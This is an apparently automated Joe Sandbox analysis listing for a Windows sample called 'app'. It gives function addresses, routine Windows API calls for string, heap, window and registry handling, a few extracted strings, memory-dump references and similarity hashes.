Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: String$From$AllocDialogFreeProgRectWindow
String ID:
API String ID: 704962466-0
Opcode ID: b6569829184fb42d57513ac240686ddfc2199f8f1beda4693de8370a87d1c167
Instruction ID: b945ffafd8d0b2f29bc3912b9e04def262169b811155d546c73b7a037650a840
Opcode Fuzzy Hash: b6569829184fb42d57513ac240686ddfc2199f8f1beda4693de8370a87d1c167
Instruction Fuzzy Hash: 85B1397190021ADFCB04DFA5D884AEEB7B4FF08304F10463AE819A7391D778A955CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041F78D Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0043A9D4,00000001,?,0043B460,00000024,0041C7B7,00000001,00000100,00000001,00000000,00000000,?,?,?,004175A9), ref: 0041F7B1
GetLastError.KERNEL32(?,?,004175A9,?,00000000,00000008), ref: 0041F7C3
GetStringTypeW.KERNEL32(?,00000100,?,?,0043B460,00000024,0041C7B7,00000001,00000100,00000001,00000000,00000000,?,?,?,004175A9), ref: 0041F7ED
WideCharToMultiByte.KERNEL32(?,00000000,00000100,?,00000000,00000000,00000000,00000000,0043B460,00000024,0041C7B7,00000001,00000100,00000001,00000000,00000000), ref: 0041F845
WideCharToMultiByte.KERNEL32(00000000,00000000,00000100,00000000,?,00000000,00000000,00000000), ref: 0041F8C8
GetStringTypeA.KERNEL32(?,?,?,00000000,?), ref: 0041F95A

Part of subcall function 0041D4E0: HeapAlloc.KERNEL32(00000008,?,0043B1F8,00000010,00419D17,00000001,00000088,?,00418843,?,?,?,0041540F,00000004,0043A458,0000000C), ref: 0041D562

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: b1f97acda3f09c8697856c99fe5127e31a16a89ed682065aa7c50ce2c0f9515f
Instruction ID: a57df6695b7da8b7aa1c592e969f3bb102772f76e478128afaf792e3acbf193c
Opcode Fuzzy Hash: b1f97acda3f09c8697856c99fe5127e31a16a89ed682065aa7c50ce2c0f9515f
Instruction Fuzzy Hash: 40517F71910219EBCF21AFA5DC45AEE7BB4FF05764B60413BF814A2260C3388996DB98

Uniqueness

Uniqueness Score: -1.00%

Function 025856DA Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025857F5
HeapFree.KERNEL32(00000000), ref: 025858DF
HeapFree.KERNEL32(00000000,?), ref: 02585969
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105

Strings

falsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,, xrefs: 02585890

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: falsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,
API String ID: 3298025750-2845428148
Opcode ID: 653e2d8ae5676c7c9899519fb57515c4b15f1185e29f8fc06a1dfaab56c20e4e
Instruction ID: 93a522d8998648034d52de4074a3eb86cc062da7caddb852b3b5f59fb0937f4c
Opcode Fuzzy Hash: 653e2d8ae5676c7c9899519fb57515c4b15f1185e29f8fc06a1dfaab56c20e4e
Instruction Fuzzy Hash: 7B6114B1904301DFDB25EF20D884B9A7BE6BF84304F448869DC49AF259EB719845CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B200 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0043A9D4,00000001,?,0043A9D8,0000001C,00417C5C,00000001,00000020,00000100,?,00000000), ref: 0041B224
GetLastError.KERNEL32 ref: 0041B236
MultiByteToWideChar.KERNEL32(?,00000000,00000000,00417F33,00000000,00000000,0043A9D8,0000001C,00417C5C,00000001,00000020,00000100,?,00000000), ref: 0041B298
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00417F33,?,00000000), ref: 0041B316
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 0041B328

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: 9575601df985ec698041be843986eb33e77f2bc8172fa7f9b26e48780cd960a8
Instruction ID: 9f9fa65cc8421391b8d21a05cfa14ba1f88a212ef66fffe92425adc452bd7f2d
Opcode Fuzzy Hash: 9575601df985ec698041be843986eb33e77f2bc8172fa7f9b26e48780cd960a8
Instruction Fuzzy Hash: 7C419271900618EBCB218F55DC45AEF3B75FF49760F15012AFC20A62A0C739C9A1CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 0042B8F8 Relevance: 9.1, APIs: 6, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0044AED8,00000000,?,00000000,0042BB47,?,00000000,?,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B8FF
EnterCriticalSection.KERNEL32(0044AEF4,00000010,?,00000000,0042BB47,?,00000000,?,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B948
LeaveCriticalSection.KERNEL32(0044AEF4,?,00000000,0042BB47,?,00000000,?,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B95B
LocalAlloc.KERNEL32(00000000,00000003,?,00000000,0042BB47,?,00000000,?,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B972
LocalReAlloc.KERNEL32(?,00000003,00000002,?,00000000,0042BB47,?,00000000,?,?,?,?,0042B380,00429E06,0040C70D), ref: 0042B984
TlsSetValue.KERNEL32(0044AED8,00000000), ref: 0042B9BB

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: 425f8b4d3ef0bcdaa6e9ca825a8bff2006c201a408e1851a73cd36e6840e37b7
Instruction ID: a6b77f6463ff9e4dcbf2f81cc0fabf44c3931403c77961276365c9ec7d0f809c
Opcode Fuzzy Hash: 425f8b4d3ef0bcdaa6e9ca825a8bff2006c201a408e1851a73cd36e6840e37b7
Instruction Fuzzy Hash: E2215CB1600622EFC324DF65E884C26B7E8FF48310790893EE55AC3610D734EC95CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004292DB Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0042930D
GetParent.USER32(?), ref: 0042931B
GetParent.USER32(?), ref: 0042932E
GetLastActivePopup.USER32(?), ref: 0042933D
IsWindowEnabled.USER32(?), ref: 00429352
EnableWindow.USER32(?,00000000), ref: 00429365

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 1a1af78537e06c800fa254dbed7e3f0734006fd546e1ad9da5c44e88e9679358
Instruction ID: 80255c199b8a0bdecbbc8602bee05c6d705c4b7d3c7af4284fa55a0f5ebffd36
Opcode Fuzzy Hash: 1a1af78537e06c800fa254dbed7e3f0734006fd546e1ad9da5c44e88e9679358
Instruction Fuzzy Hash: B011A332B0123157C631AA6A7C44B6BB2AC9F6DB60FD50177ED04D3391DB68CC02469D

Uniqueness

Uniqueness Score: -1.00%

Function 00428DBA Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00428DC9
GetDlgCtrlID.USER32(00000000), ref: 00428DDD
GetWindowLongA.USER32(00000000,000000F0), ref: 00428DEB
GetWindowRect.USER32(00000000,?), ref: 00428DFD
PtInRect.USER32(?,?,?), ref: 00428E0D
GetWindow.USER32(?,00000005), ref: 00428E1A

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: bddc417178efcb5005f3e382842a7ec5c5d359559d9cbc29fe9ccca2d6545a96
Instruction ID: 86bcff5dc365ccf3970e8e5ad6cd2e1a487aebd333d05296c5cf9a855bdfcbb6
Opcode Fuzzy Hash: bddc417178efcb5005f3e382842a7ec5c5d359559d9cbc29fe9ccca2d6545a96
Instruction Fuzzy Hash: 46014F36301229ABDB21AF54AC08EAF3B78AF55B51FC14039FD11D6164DB3499168A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E4FD Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116comstringCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(0040D840,0000003C,?), ref: 0040E574
lstrlenA.KERNEL32(?), ref: 0040E585
GetDeviceCaps.GDI32(?,0000005A), ref: 0040E5F9
OleCreateFontIndirect.OLEAUT32(00000020,0043B660,?), ref: 0040E625

Strings

, xrefs: 0040E57E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectObjectlstrlen
String ID:
API String ID: 2354491011-3916222277
Opcode ID: 9d852aacc324d793c307b9bc4f5cb1ae80cc7621a4b1ed0e7d4aaa0040eccceb
Instruction ID: 28e09a9122b547e86938a5d239e18cad7ca67ec09992f0ac5eed7e9960d5d504
Opcode Fuzzy Hash: 9d852aacc324d793c307b9bc4f5cb1ae80cc7621a4b1ed0e7d4aaa0040eccceb
Instruction Fuzzy Hash: 32417A71E00219EFCB20DFA6D885AEEBBB4BF18308F50452EE415E3291E7789A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0042A65A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0042A71B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0042A735
RegCloseKey.ADVAPI32(?,?,?,?,Software\), ref: 0042A74F
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 0042A765

Strings

Software\, xrefs: 0042A6B4

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CloseEnumOpenQueryValue
String ID: Software\
API String ID: 3984146545-964853688
Opcode ID: 9845bd2fcb0797600897e3fcf3e96c38015a830924c55a3160526b0b273f9273
Instruction ID: 60a233a4efbdb4d877ad5cbd16216c248d17419bcb0c5f4008330a88f52c4ae4
Opcode Fuzzy Hash: 9845bd2fcb0797600897e3fcf3e96c38015a830924c55a3160526b0b273f9273
Instruction Fuzzy Hash: 3341A031A00119ABCF11DBA0DC85EEFB7B9FF88304F50012AF511B3291DB389A15CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00424887 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 0042493D
GetWindowLongA.USER32(?,000000FC), ref: 0042494F
GetWindowLongA.USER32(?,000000FC), ref: 00424960
SetWindowLongA.USER32(?,000000FC,?), ref: 0042497C

Strings

(, xrefs: 00424933

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: e0b753035cb70a9a5eef04e921d7a8f31782a4019434a00ab1b1827a1127cb12
Instruction ID: 3707caef856736254b48c76daa378133d04f0dbce0ae591b3731a783b4f3e6c9
Opcode Fuzzy Hash: e0b753035cb70a9a5eef04e921d7a8f31782a4019434a00ab1b1827a1127cb12
Instruction Fuzzy Hash: A531D2747006209FCB20BF79E884A6BB7B4FF84314F94062EE54197791DB78E845CB98

Uniqueness

Uniqueness Score: -1.00%

Function 025CD340 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 025CD3E5
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 025CD3F5

Strings

GetSystemTimePreciseAsFileTime, xrefs: 025CD3EF
Invalid, xrefs: 025CD3C2
kernel32, xrefs: 025CD3E0

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$Invalid$kernel32
API String ID: 1646373207-2690871627
Opcode ID: db2df966f530ecf27efd42f2e3b42c249f3b630e81deea6c47e8ff89f1a37244
Instruction ID: 3251ea4002ff243af219edb590f8c58f21d809fe1551ea6b6b2aa7ed5ec10e9e
Opcode Fuzzy Hash: db2df966f530ecf27efd42f2e3b42c249f3b630e81deea6c47e8ff89f1a37244
Instruction Fuzzy Hash: 0011B2B1B403009FD30C9F59898871A7BF6BB84785F5AC82DD80ED7350E375A884CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00422A0B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 00422A4C
GetDlgItem.USER32(?,00000002), ref: 00422A6B
IsWindowEnabled.USER32(00000000), ref: 00422A76
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 00422A8C

Strings

Edit, xrefs: 00422A56

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: 66f3ca61536d6a4b5c74c82b61e0e054e33ba564fb4b2e00f887f035e959c592
Instruction ID: 6ee10451ae2c8e78b307aaf30a1710947c025f2baedac84a9ff3f14969e02c54
Opcode Fuzzy Hash: 66f3ca61536d6a4b5c74c82b61e0e054e33ba564fb4b2e00f887f035e959c592
Instruction Fuzzy Hash: 18018E303003327AEA306A66AE05F6BAAA49B54714FD4493BA441D2AA0DFE8DC42C56C

Uniqueness

Uniqueness Score: -1.00%

Function 025BF740 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 025BF7C5
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 025BF7D5

Strings

ntdll, xrefs: 025BF7C0
NtCreateKeyedEvent, xrefs: 025BF7CF
Invalid, xrefs: 025BF78A

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Invalid$NtCreateKeyedEvent$ntdll
API String ID: 1646373207-3729888764
Opcode ID: 3c2b53632a35c1a5eb1eead99cbcb11f700ae754f9a61b1af955f26570a73cb3
Instruction ID: 3e1d4e926e011bc7fedac0a3767c93bfa554e5c868f7b0e8df13135b82a0ae41
Opcode Fuzzy Hash: 3c2b53632a35c1a5eb1eead99cbcb11f700ae754f9a61b1af955f26570a73cb3
Instruction Fuzzy Hash: A511ADB0D403099FDB64DFA1CA087EEBBB8FF04704F140819E915A7A40D3346148CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 025E2608 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,39838EA3,?,?,00000000,025F197B,000000FF,?,025E25E4,025E26C8,?,025E25B8,00000000), ref: 025E263D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 025E264F
FreeLibrary.KERNEL32(00000000,?,?,00000000,025F197B,000000FF,?,025E25E4,025E26C8,?,025E25B8,00000000), ref: 025E2671

Strings

CorExitProcess, xrefs: 025E2647
mscoree.dll, xrefs: 025E2636

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 202b9e2b47566bd138c67ef4f9af524af4cd92a4dcbabd1609bd29b4fda764a9
Instruction ID: 7c60d9db11796c5290cc2db8d90085d40fa0ef59457a9ffc1b94891b1eef10db
Opcode Fuzzy Hash: 202b9e2b47566bd138c67ef4f9af524af4cd92a4dcbabd1609bd29b4fda764a9
Instruction Fuzzy Hash: 6D01A771940619ABDB158F50DC05FAE7BBCFB04B15F004A25FD12E2290DB749914CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0042A1F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0042A21C
PathFindExtensionA.SHLWAPI(?), ref: 0042A229
lstrcpyA.KERNEL32(?,00000000), ref: 0042A23F
lstrcpyA.KERNEL32(00000000,%s.dll), ref: 0042A247

Part of subcall function 00429F0B: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00429F31
Part of subcall function 00429F0B: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00429F3C
Part of subcall function 00429F0B: ConvertDefaultLocale.KERNEL32(?), ref: 00429F6D
Part of subcall function 00429F0B: ConvertDefaultLocale.KERNEL32(?), ref: 00429F75
Part of subcall function 00429F0B: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 00429F82
Part of subcall function 00429F0B: ConvertDefaultLocale.KERNEL32(?), ref: 00429F9C
Part of subcall function 00429F0B: ConvertDefaultLocale.KERNEL32(000003FF), ref: 00429FA2

Strings

%s.dll, xrefs: 0042A241

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ConvertDefaultLocale$AddressModuleProclstrcpy$ExtensionFileFindHandleNamePath
String ID: %s.dll
API String ID: 2054749690-3668843792
Opcode ID: 82a8751b84f09603ba11f481d45c7ea045fa609579e678804dedf504626bede6
